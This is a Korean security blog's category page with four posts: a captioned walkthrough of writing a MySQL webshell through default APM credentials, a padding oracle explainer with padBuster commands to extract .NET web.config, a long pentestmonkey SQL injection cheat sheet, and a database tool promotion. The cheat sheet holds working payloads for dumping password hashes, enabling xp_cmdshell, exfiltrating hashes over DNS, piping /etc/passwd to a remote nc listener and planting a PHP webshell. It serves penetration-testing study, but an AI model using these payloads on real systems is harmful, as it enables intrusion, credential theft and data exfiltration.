'위험한_친구들/뚱띵이_SQL'에 해당되는 글 4건

  1. 2012.02.28 My-SQL을 이용한 Webshell 만들기 by bitfox
  2. 2011.10.19 Padding oracle attack explained by bitfox
  3. 2011.10.13 SQL Injection Cheat Sheet by bitfox
  4. 2011.08.09 Aqua Fold - Aqua Data Studio by bitfox
본 내용은 APM 환경에서 기본 계정을 사용하거나 혹은 관리되지 않는 My SQL로 인해 시스템이 침해당할 수 있다는 것을 보여주고자 작성하였습니다. 많은 보안 담당자들이 쉽게 방심하는 부분임으로 적절한 조치가 필요한 것으로 보여집니다.

[화면 1]일반적인 APM설치 후 노출되는 Setup 정보 페이지

[화면 2] phpinfo 파일이나 웹루트를 추측하여 웹쉘이 올려야 하는 경로를 예측함.

[화면 3] APM 초기 기본 패스워드로 공략


[화면 4] My SQL DB 서버 관리자페이지 접근

[화면 5] SQL 명령어로 webshell 파일 생성


[화면 6] WS.php란 cmd 웹쉘이 만들어짐

[화면 7] CMD 웹쉘을 통해 서버 공략 가능

위와 같이 DB에 대해 접근이 가능하다면 충분히 웹쉘을 생성 및 공격이 가능합니다. SQL군에 대해 각자의 명령어가 조금씩 다를뿐 위와 같은 원리는 공통적인 부분이며 각자의 대처 방안 비슷합니다.

우선적으로 본 예시의 보안 대책으로는 APM설치 후 계정에 대해 반드시 패스워드를 변경해야 하며 부가적으로 아래와 같이 httpd-alias.conf 파일을 찾아 ip제한을 두는 것도 효과적인 기술적 보안 대책입니다.



[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

'위험한_친구들 > 뚱띵이_SQL' 카테고리의 다른 글

Padding oracle attack explained  (0) 2011.10.19
SQL Injection Cheat Sheet  (0) 2011.10.13
Aqua Fold - Aqua Data Studio  (0) 2011.08.09
Posted by bitfox
l

Padding oracle attack explained

In cryptography, the padding oracle attack is an attack on the CBC mode of operation, where the server leaks data about whether the padding of an encrypted message is correct or not. oracle refers to a mechanism in cryptography that can be used to determine whether a test has passed or failed. This information would help an attacker to decrypt and encrypt data without key.

How to find your .NET application is vulnerable to padding oracle attack or not?

    1. Using burp proxy capture a request to webresource.axd file
      Ex: http://somesite.com/webresource.axd?d=qmZbysenet6VGS94Ord8gQ2
    2. Change one character in the d value and send the request to the server. Observe the response.
    3. Send request to a non existent aspx page on the server. Observe the response.
      Ex: http://somesite.com/nonexist.aspx
    4. Response 2 and response 3 are differ, then it is possible to exploit the attack.

My OWASP presentation on 20-Aug-2011:

padbuster tool can be used to automate the padding oracle attack. This tool is a free ware and you can download it from – https://github.com/GDSSecurity/PadBuster/blob/master/padBuster.pl

* Perl is required to run padbuster. Perl can be downloaded from
http://strawberry-perl.googlecode.com/files/strawberry-perl-5.12.3.0.msi

Padbuster usage to attack .NET applications

  1. Encrypt web.config file –
    padBuster.pl http://somesite.com/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA2
    AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config
  2. Brute force the first block-
    padBuster.pl http://www.myapp.com/ScriptResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAA
    AAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce –log
  3. Observe the log, at some point you will get 200 ok message, grab that URL and paste it in browser. It displays the web.config content.

Watch this video to get a better understanding of the attack:




[출처]
http://securitylearn.wordpress.com/2011/08/19/padding-oracle-attack-explained/



[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

'위험한_친구들 > 뚱띵이_SQL' 카테고리의 다른 글

My-SQL을 이용한 Webshell 만들기  (0) 2012.02.28
SQL Injection Cheat Sheet  (0) 2011.10.13
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Posted by bitfox
l

MSSQL Injection Cheat Sheet

Version

SELECT @@version

Comments

SELECT 1 — comment
SELECT /*comment*/1

Current User

SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

List Users

SELECT name FROM master..syslogins

List Password Hashes

SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

 Password Cracker

MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.

List Privileges

Impossible?

List DBA Accounts

TODO
SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’ and other values from the
documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.

Current Database

SELECT DB_NAME()

List Databases

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …

List Columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

List Tables

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

Find Tables From Column Name

– NB: This example works only for the current database.  If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’

Select Nth Row

SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row

Select Nth Char

SELECT substring(‘abcd’, 3, 1) — returns c

Bitwise AND

SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0

ASCII Value -> Char

SELECT char(0×41) — returns A

Char -> ASCII Value

SELECT ascii(‘A’) – returns 65

Casting

SELECT CAST(’1′ as int);
SELECT CAST(1 as char)

String Concatenation

SELECT ‘A’ + ‘B’ – returns AB

If Statement

IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1

Case Statement

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1

Avoiding Quotes

SELECT char(65)+char(66) — returns AB

Time Delay

 WAITFOR DELAY ’0:0:5′ — pause for 5 seconds

Make DNS Requests

declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000

declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005

– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.
– Also check out theDNS tunnel feature of
sqlninja

Command Execution

EXEC xp_cmdshell ‘net user’; — priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv

Local File Access

CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;

Hostname, IP Address

SELECT HOST_NAME()

Create Users

EXEC sp_addlogin ‘user’, ‘pass’; — priv

Drop Users

EXEC sp_droplogin ‘user’; — priv

Make User DBA

EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv

Location of DB files

TODO

Default/System Databases

northwind
model
msdb
pubs
tempdb

 

Oracle SQL Injection Cheat Sheet

Version

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;

Comments

SELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.

Current User

SELECT user FROM dual

List Users

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv

List Password Hashes

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g

 Password Cracker

checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.

List Privileges

SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

List DBA Accounts

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles

Current Database

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

List Databases

SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases.  See
tnscmd (services | status).

List Columns

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

List Tables

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

Find Tables From Column Name

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case

Select Nth Row

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)

Select Nth Char

SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’

Bitwise AND

SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0

ASCII Value -> Char

SELECT chr(65) FROM dual; — returns A

Char -> ASCII Value

SELECT ascii(‘A’) FROM dual; — returns 65

Casting

SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;

String Concatenation

SELECT ‘A’ || ‘B’ FROM dual; — returns AB

If Statement

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements

Case Statement

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2

Avoiding Quotes

SELECT chr(65) || chr(66) FROM dual; — returns AB

Time Delay

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
– Also see
Heavy Queries to create a time delay

Make DNS Requests

SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

Command Execution

Java can be used to execute commands if it’s installed.

ExtProc can sometimes be used too, though it normally failed for me.

Local File Access

UTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;

Java can be used to read and write files if it’s installed (it is not available in Oracle Express).

Hostname, IP Address

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames

Location of DB files

SELECT name FROM V$DATAFILE;

Default/System Databases

SYSTEM
SYSAUX

 

MySQL SQL Injection Cheat Sheet

Version

SELECT @@version

Comments

SELECT 1; #comment
SELECT /*comment*/1;

Current User

SELECT user();
SELECT system_user();

List Users

SELECT user FROM mysql.user; — priv

List Password Hashes

SELECT host, user, password FROM mysql.user; — priv

Password Cracker

John the Ripper will crack MySQL password hashes.

List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs

SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs

SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;

SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv

Current Database

SELECT database()

List Databases

SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv

List Columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Find Tables From Column Name

SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’

Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char

SELECT substr(‘abcd’, 3, 1); # returns c

Bitwise AND

SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT char(65); # returns A

Char -> ASCII Value

SELECT ascii(‘A’); # returns 65

Casting

SELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);

String Concatenation

SELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC

If Statement

SELECT if(1=1,’foo’,'bar’); — returns ‘foo’

Case Statement

SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A

Avoiding Quotes

SELECT 0×414243; # returns ABC

Time Delay

SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12

Make DNS Requests

Impossible?

Command Execution

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access

…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

Hostname, IP Address

Impossible?

Create Users

CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv

Delete Users

DROP USER test1; — priv

Make User DBA

GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv

Location of DB files

SELECT @@datadir;

Default/System Databases

information_schema (>= mysql 5.0)
mysql

 

Postgres SQL Injection Cheat Sheet

Version

SELECT version()

Comments

SELECT 1; –comment
SELECT /*comment*/1;

Current User

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();

List Users

SELECT usename FROM pg_user

List Password Hashes

SELECT usename, passwd FROM pg_shadow — priv

Password Cracker

MDCrack can crack PostgreSQL’s MD5-based passwords.

List Privileges

SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

List DBA Accounts

SELECT usename FROM pg_user WHERE usesuper IS TRUE

Current Database

SELECT current_database()

List Databases

SELECT datname FROM pg_database

List Columns

SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)

List Tables

SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)

Find Tables From Column Name

If you want to list all the table names that contain a column LIKE ‘%password%’:

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;

Select Nth Row

SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

Select Nth Char

SELECT substr(‘abcd’, 3, 1); — returns c

Bitwise AND

SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0

ASCII Value -> Char

SELECT chr(65);

Char -> ASCII Value

SELECT ascii(‘A’);

Casting

SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);

String Concatenation

SELECT ‘A’ || ‘B’; — returnsAB

If Statement

IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.

Case Statement

SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A

Avoiding Quotes

SELECT CHR(65)||CHR(66); — returns AB

Time Delay

SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from
here .

Make DNS Requests

Generally not possible in postgres.  However if contrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.

Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — priv

SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user

Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by
mapping libc functions

Hostname, IP Address

SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)

Create Users

CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time

Drop Users

DROP USER test1; — priv

Make User DBA

ALTER USER test1 CREATEUSER CREATEDB; — priv

 Location of DB files

SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv

Default/System Databases

template0
template1

 

DB2 SQL Injection Cheat Sheet

Version

select versionnumber, version_timestamp from sysibm.sysversions;

Comments

select blah from foo; — comment like this

Current User

select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;

List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;

List Password Hashes

N/A (I think DB2 uses OS-level user accounts for authentication.)

List Privileges

select * from syscat.tabauth; — privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;

List DBA Accounts

TODO

Current Database

select current server from sysibm.sysdummy1;

List Databases

SELECT schemaname FROM syscat.schemata;

List Columns

select name, tbname, coltype from sysibm.syscolumns;

List Tables

select name from sysibm.systables;

Find Tables From Column Name

TODO

Select Nth Row

select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;

Select Nth Char

SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1;  — returns b

Bitwise AND

This page seems to indicate that DB2 has no support for bitwise operators!

ASCII Value -> Char

select chr(65) from sysibm.sysdummy1; — returns ‘A’

Char -> ASCII Value

select ascii(‘A’) from sysibm.sysdummy1; — returns 65

Casting

SELECT cast(’123′ as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;

String Concatenation

SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’
select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’

If Statement

TODO

Case Statement

TODO

Avoiding Quotes

TODO

Time Delay

???See Heavy Queries article for some ideas.

Make DNS Requests

TODO

Command Execution

TODO

Local File Access

TODO

Hostname, IP Address

TODO

Location of DB files

TODO

Default/System Databases

TODO

 

 

Informix SQL Injection Cheat Sheet

Version

SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1;
SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix

Comments

select 1 FROM systables WHERE tabid = 1; — comment

Current User

SELECT USER FROM systables WHERE tabid = 1;
select CURRENT_ROLE FROM systables WHERE tabid = 1;

List Users

select username, usertype, password from sysusers;

List Password Hashes

TODO

List Privileges

select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users
select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users

List DBA Accounts

TODO

Current Database

SELECT DBSERVERNAME FROM systables where tabid = 1; — server name

List Databases

select name, owner from sysdatabases;

List Columns

select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;

List Tables

select tabname, owner FROM systables;
select tabname, viewtext FROM sysviews  join systables on systables.tabid = sysviews.tabid;

List Stored Procedures

select procname, owner FROM sysprocedures;

Find Tables From Column Name

select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’;

Select Nth Row

select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row

Select Nth Char

SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’

Bitwise AND

select bitand(6, 1) from systables where tabid = 1; — returns 0
select bitand(6, 2) from systables where tabid = 1; — returns 2

ASCII Value -> Char

TODO

Char -> ASCII Value

select ascii(‘A’) from systables where tabid = 1;

Casting

select cast(’123′ as integer) from systables where tabid = 1;
select cast(1 as char) from systables where tabid = 1;

String Concatenation

SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’
SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’

String Length

SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;

If Statement

TODO

Case Statement

select tabid, case when tabid>10 then “High” else ‘Low’ end from systables;

Avoiding Quotes

TODO

Time Delay

TODO

Make DNS Requests

TODO

Command Execution

TODO

Local File Access

TODO

Hostname, IP Address

SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname

Location of DB files

TODO

Default/System Databases

These are the system databases:
sysmaster
sysadmin*
sysuser*
sysutils*

 

 

Ingres SQL Injection Cheat Sheet

Version

select dbmsinfo(‘_version’);

Comments

SELECT 123; — comment
select 123; /* comment */

Current User

select dbmsinfo(‘session_user’);
select dbmsinfo(‘system_user’);

List Users

First connect to iidbdb, then:
select name, password from iiuser;

Create Users

create user testuser with password = ‘testuser’;– priv

List Password Hashes

First connect to iidbdb, then:
select name, password from iiuser;

List Privileges

select dbmsinfo(‘db_admin’);
select dbmsinfo(‘create_table’);
select dbmsinfo(‘create_procedure’);
select dbmsinfo(‘security_priv’);
select dbmsinfo(‘select_syscat’);
select dbmsinfo(‘db_privileges’);
select dbmsinfo(‘current_priv_mask’);

List DBA Accounts

TODO

Current Database

select dbmsinfo(‘database’);

List Databases

TODO

List Columns

select column_name, column_datatype, table_name, table_owner from iicolumns;

List Tables

select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != ‘$ingres’;

Find Tables From Column Name

TODO

Select Nth Row

Astoundingly, this doesn’t seem to be possible!  This is as close as you can get:

select top 10 blah from table;
select first 10 blah form table;

Select Nth Char

select substr(‘abc’, 2, 1); — returns ‘b’

Bitwise AND

The function “bit_and” exists, but seems hard to use.  Here’s an
example of ANDing 3 and 5 together.  The result is a “byte” type
with value ?01:

select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);

ASCII Value -> Char

TODO

Char -> ASCII Value

TODO
(The “ascii” function exists, but doesn’t seem to do what I’d expect.)

Casting

select cast(123 as varchar);
select cast(’123′ as integer);

String Concatenation

select ‘abc’ || ‘def’;

If Statement

TODO

Case Statement

TODO

Avoiding Quotes

TODO

Time Delay

???

See Heavy Queries article for some ideas.

Make DNS Requests

TODO

Command Execution

TODO

Local File Access

TODO

Hostname, IP Address

TODO

Location of DB files

TODO

Default/System Databases

TODO

Installing Locally

The Ingres database can be downloaded for free from http://esd.ingres.com/
A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832

Database Client

TODO
There is a client called “sql” which can be used for local connections (at least) in the  database server package above.

Logging in from command line

$ su -  ingres
$ sql iidbdb
* select dbmsinfo(‘_version’); go

Identifying on the network

TODO


[
출처] pentestmonkey.net


 

[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.
 

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P.T를 하다보면 여러 DB를 만나게 된다. 대다수 MS-SQL, ORACLE, My-SQL 이지만 가끔씩 DB2, Informix, Sybase등을 사용하는 기업을 보게될 수 있습니다.
요즘은 내부안에 두기 때문에 직접 접근하기 어렵지만 가끔 이눔을 쓰면 좋습니다.

이눔을 받아 실행하면 아래와 같습니다. ^0^;


일반적으로 국내에서 사용하는 DB에서 크게 벗어나지 않습니다.


좋은 제품은 구매를...쿨럭..;;
http://www.aquafold.com/index.html

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